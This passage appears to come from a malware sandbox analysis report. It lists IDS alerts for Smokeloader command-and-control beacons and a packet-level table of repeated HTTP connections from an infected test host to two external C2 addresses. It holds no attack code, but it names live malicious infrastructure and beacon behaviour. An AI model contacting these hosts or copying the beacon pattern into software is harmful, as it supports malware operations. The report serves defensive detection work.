2024-12-19T11:01:08.139529+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50023	94.156.177.51	80	TCP
2024-12-19T11:01:09.639518+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50024	194.85.61.76	80	TCP
2024-12-19T11:01:09.639518+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50024	194.85.61.76	80	TCP
2024-12-19T11:01:15.639488+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50025	94.156.177.51	80	TCP
2024-12-19T11:01:17.108246+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50026	94.156.177.51	80	TCP
2024-12-19T11:01:18.608254+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50027	194.85.61.76	80	TCP
2024-12-19T11:01:24.327004+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50028	94.156.177.51	80	TCP
2024-12-19T11:01:25.795658+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50029	94.156.177.51	80	TCP
2024-12-19T11:01:27.405068+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50030	194.85.61.76	80	TCP
2024-12-19T11:01:27.405068+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50030	194.85.61.76	80	TCP
2024-12-19T11:01:32.905000+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50031	94.156.177.51	80	TCP
2024-12-19T11:01:32.905000+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50031	94.156.177.51	80	TCP
2024-12-19T11:01:34.394096+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50032	94.156.177.51	80	TCP
2024-12-19T11:01:34.394096+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50032	94.156.177.51	80	TCP
2024-12-19T11:01:35.826874+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50033	194.85.61.76	80	TCP
2024-12-19T11:01:35.826874+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.5	50033	194.85.61.76	80	TCP
2024-12-19T11:01:41.326839+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50034	94.156.177.51	80	TCP
2024-12-19T11:01:43.201831+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50035	94.156.177.51	80	TCP
2024-12-19T11:01:44.639355+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50036	194.85.61.76	80	TCP
2024-12-19T11:01:51.139377+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50037	94.156.177.51	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 10:58:10.839359045 CET	49735	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:10.959048033 CET	80	49735	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:10.959218979 CET	49735	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:10.959477901 CET	49735	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:10.959510088 CET	49735	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:11.079178095 CET	80	49735	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:11.079210997 CET	80	49735	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:12.319236040 CET	80	49735	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:12.359414101 CET	49735	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:12.978580952 CET	49741	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:13.098649025 CET	80	49741	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:13.098784924 CET	49741	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:13.098994970 CET	49741	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:13.099046946 CET	49741	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:13.218497038 CET	80	49741	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:13.218553066 CET	80	49741	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:14.481053114 CET	80	49741	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:14.531296968 CET	49741	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:15.282855988 CET	49747	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:58:15.402512074 CET	80	49747	194.85.61.76	192.168.2.5
Dec 19, 2024 10:58:15.402591944 CET	49747	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:58:15.402757883 CET	49747	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:58:15.402770042 CET	49747	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:58:15.522356033 CET	80	49747	194.85.61.76	192.168.2.5
Dec 19, 2024 10:58:15.522391081 CET	80	49747	194.85.61.76	192.168.2.5
Dec 19, 2024 10:58:16.737190962 CET	80	49747	194.85.61.76	192.168.2.5
Dec 19, 2024 10:58:16.781269073 CET	49747	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:58:54.187532902 CET	49747	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:58:54.187580109 CET	49735	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:54.187639952 CET	49741	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:54.307543039 CET	80	49747	194.85.61.76	192.168.2.5
Dec 19, 2024 10:58:54.307636023 CET	49747	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:58:54.308120966 CET	80	49735	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:54.308154106 CET	80	49741	94.156.177.51	192.168.2.5
Dec 19, 2024 10:58:54.308192968 CET	49735	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:58:54.308217049 CET	49741	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:21.382364988 CET	49897	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:21.502018929 CET	80	49897	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:21.502330065 CET	49897	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:21.502511978 CET	49897	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:21.502590895 CET	49897	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:21.622014046 CET	80	49897	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:21.622117996 CET	80	49897	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:22.860023022 CET	80	49897	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:22.866456032 CET	49902	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:22.905776024 CET	49897	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:22.986102104 CET	80	49902	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:22.986206055 CET	49902	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:22.987339020 CET	49902	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:22.987365007 CET	49902	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:23.107152939 CET	80	49902	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:23.107204914 CET	80	49902	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:24.480494976 CET	80	49902	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:24.488054991 CET	49908	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:24.607825994 CET	80	49908	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:24.608902931 CET	49902	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:24.608963966 CET	49908	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:24.609102964 CET	49908	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:24.609158039 CET	49908	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:24.728601933 CET	80	49908	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:24.728732109 CET	80	49908	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:25.943614960 CET	80	49908	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:26.108876944 CET	49908	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:26.192203999 CET	49897	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:26.196321011 CET	49914	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:26.312272072 CET	80	49897	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:26.312463045 CET	49897	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:26.316028118 CET	80	49914	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:26.316113949 CET	49914	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:26.316266060 CET	49914	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:26.316322088 CET	49914	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:26.435937881 CET	80	49914	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:26.436100006 CET	80	49914	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:27.281039953 CET	49902	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:27.281049967 CET	49908	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:27.401098013 CET	80	49902	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:27.401241064 CET	49902	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:27.401571035 CET	80	49908	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:27.401771069 CET	49908	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:27.673820019 CET	80	49914	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:27.695483923 CET	49915	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:27.816472054 CET	80	49915	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:27.818660021 CET	49915	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:27.820787907 CET	49915	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:27.820805073 CET	49915	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:27.827647924 CET	49914	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:27.940386057 CET	80	49915	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:27.940440893 CET	80	49915	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:29.184083939 CET	80	49915	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:29.195331097 CET	49920	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:29.314913988 CET	80	49920	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:29.315105915 CET	49920	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:29.315151930 CET	49920	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:29.315171957 CET	49920	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:29.405802965 CET	49915	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:29.434762955 CET	80	49920	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:29.434788942 CET	80	49920	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:30.651345015 CET	80	49920	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:30.795676947 CET	49914	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:30.796197891 CET	49926	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:30.843229055 CET	49920	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:30.915870905 CET	80	49926	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:30.916008949 CET	80	49914	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:30.916069984 CET	49914	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:30.916121006 CET	49926	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:30.916336060 CET	49926	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:30.918894053 CET	49926	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:31.036005974 CET	80	49926	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:31.038445950 CET	80	49926	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:32.322904110 CET	80	49926	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:32.325926065 CET	49915	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:32.355108023 CET	49928	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:32.436949968 CET	49926	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:32.445911884 CET	80	49915	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:32.446002960 CET	49915	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:32.474831104 CET	80	49928	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:32.474948883 CET	49928	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:32.475130081 CET	49928	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:32.475718021 CET	49928	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:32.594723940 CET	80	49928	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:32.595302105 CET	80	49928	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:32.969177008 CET	49920	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:33.089389086 CET	80	49920	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:33.089467049 CET	49920	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:33.845381975 CET	80	49928	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:33.850738049 CET	49933	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:33.936949968 CET	49928	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:33.970352888 CET	80	49933	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:33.970453024 CET	49933	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:33.970565081 CET	49933	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:33.970581055 CET	49933	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:34.090051889 CET	80	49933	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:34.090212107 CET	80	49933	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:35.310946941 CET	80	49933	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:35.406095028 CET	49933	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:35.733346939 CET	49926	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:35.734225035 CET	49939	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:35.853265047 CET	80	49926	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:35.853334904 CET	49926	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:35.853770971 CET	80	49939	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:35.853851080 CET	49939	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:35.854039907 CET	49939	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:35.854075909 CET	49939	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:35.973634958 CET	80	49939	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:35.973671913 CET	80	49939	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:37.220084906 CET	80	49939	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:37.228251934 CET	49928	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:37.228992939 CET	49942	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:37.327557087 CET	49939	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:37.353039026 CET	80	49942	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:37.353202105 CET	80	49928	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:37.353221893 CET	49942	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:37.353260040 CET	49942	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:37.353266001 CET	49928	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:37.354517937 CET	49942	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:37.472774982 CET	80	49942	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:37.474114895 CET	80	49942	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:38.727760077 CET	80	49942	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:38.738086939 CET	49933	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:38.739397049 CET	49947	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:38.769169092 CET	49942	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:38.859175920 CET	80	49947	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:38.861947060 CET	80	49933	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:38.862045050 CET	49933	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:38.862231970 CET	49947	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:38.862231970 CET	49947	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:38.862231970 CET	49947	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:38.981775999 CET	80	49947	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:38.981884956 CET	80	49947	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:40.196259022 CET	80	49947	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:40.327544928 CET	49947	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:41.074060917 CET	49939	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:41.075006008 CET	49953	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:41.194243908 CET	80	49939	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:41.194318056 CET	49939	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:41.194569111 CET	80	49953	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:41.194637060 CET	49953	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:41.194796085 CET	49953	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:41.194829941 CET	49953	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:41.315465927 CET	80	49953	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:41.315479994 CET	80	49953	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:42.558610916 CET	80	49953	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:42.566088915 CET	49942	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:42.568147898 CET	49958	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:42.608756065 CET	49953	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:42.686050892 CET	80	49942	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:42.686219931 CET	49942	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:42.687757015 CET	80	49958	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:42.687834978 CET	49958	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:42.688040018 CET	49958	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:42.688106060 CET	49958	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:42.807682037 CET	80	49958	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:42.807718992 CET	80	49958	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:44.049314976 CET	80	49958	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:44.058936119 CET	49947	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:44.074624062 CET	49964	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:44.093133926 CET	49958	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:44.179299116 CET	80	49947	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:44.179383993 CET	49947	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:44.194212914 CET	80	49964	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:44.194283962 CET	49964	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:44.194433928 CET	49964	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:44.194447041 CET	49964	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:44.314183950 CET	80	49964	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:44.314227104 CET	80	49964	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:45.534571886 CET	80	49964	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:45.593136072 CET	49964	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:46.436528921 CET	49953	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:46.437567949 CET	49970	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:46.557374001 CET	80	49953	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:46.557488918 CET	49953	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:46.557879925 CET	80	49970	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:46.557977915 CET	49970	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:46.558182001 CET	49970	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:46.558239937 CET	49970	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:46.677725077 CET	80	49970	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:46.677782059 CET	80	49970	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:47.910084963 CET	80	49970	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:47.916546106 CET	49958	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:47.920754910 CET	49973	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:48.036920071 CET	80	49958	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:48.038925886 CET	49958	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:48.040302038 CET	80	49973	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:48.040513992 CET	49973	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:48.040641069 CET	49973	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:48.040652037 CET	49973	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:48.139986992 CET	49970	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:48.160137892 CET	80	49973	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:48.160317898 CET	80	49973	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:49.390717983 CET	80	49973	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:49.395833015 CET	49964	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:49.402512074 CET	49977	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:49.515894890 CET	80	49964	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:49.515965939 CET	49964	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:49.522192955 CET	80	49977	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:49.522279024 CET	49977	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:49.522432089 CET	49977	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:49.522479057 CET	49977	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:49.530677080 CET	49973	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:49.642723083 CET	80	49977	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:49.642961979 CET	80	49977	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:50.862988949 CET	80	49977	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:50.905589104 CET	49977	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:55.115282059 CET	49970	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:55.119046926 CET	49993	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:55.235294104 CET	80	49970	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:55.235364914 CET	49970	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:55.238712072 CET	80	49993	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:55.238826036 CET	49993	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:55.240689993 CET	49993	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:55.241559029 CET	49993	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:55.360591888 CET	80	49993	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:55.361350060 CET	80	49993	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:56.609649897 CET	80	49993	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:56.617108107 CET	49973	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:56.617672920 CET	49995	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:56.702431917 CET	49993	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:56.737185955 CET	80	49973	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:56.737236023 CET	80	49995	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:56.737261057 CET	49973	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:56.737313986 CET	49995	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:56.737485886 CET	49995	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:56.737519979 CET	49995	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:56.857055902 CET	80	49995	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:56.857136011 CET	80	49995	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:58.091754913 CET	80	49995	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:58.100172043 CET	49977	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:58.111203909 CET	50000	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:58.202554941 CET	49995	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:58.220653057 CET	80	49977	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:58.220774889 CET	49977	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:58.231797934 CET	80	50000	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:58.232036114 CET	50000	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:58.232085943 CET	50000	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:58.232085943 CET	50000	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:58.352044106 CET	80	50000	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:58.352062941 CET	80	50000	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:59.568881035 CET	80	50000	194.85.61.76	192.168.2.5
Dec 19, 2024 10:59:59.640173912 CET	49993	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:59.640178919 CET	50000	80	192.168.2.5	194.85.61.76
Dec 19, 2024 10:59:59.640253067 CET	49995	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:59.760396004 CET	80	49993	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:59.760485888 CET	49993	80	192.168.2.5	94.156.177.51
Dec 19, 2024 10:59:59.760824919 CET	80	49995	94.156.177.51	192.168.2.5
Dec 19, 2024 10:59:59.760878086 CET	49995	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:04.717565060 CET	50001	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:04.837373018 CET	80	50001	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:04.837668896 CET	50001	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:04.837919950 CET	50001	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:04.837968111 CET	50001	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:04.957659006 CET	80	50001	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:04.957700014 CET	80	50001	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:06.200352907 CET	80	50001	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:06.204482079 CET	50002	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:06.324212074 CET	80	50002	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:06.324533939 CET	50002	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:06.324534893 CET	50002	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:06.324534893 CET	50002	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:06.342983007 CET	50001	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:06.445079088 CET	80	50002	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:06.445362091 CET	80	50002	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:07.849044085 CET	80	50002	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:07.852830887 CET	50000	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:07.853585005 CET	50003	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:07.905515909 CET	50002	80	192.168.2.5	94.156.177.51
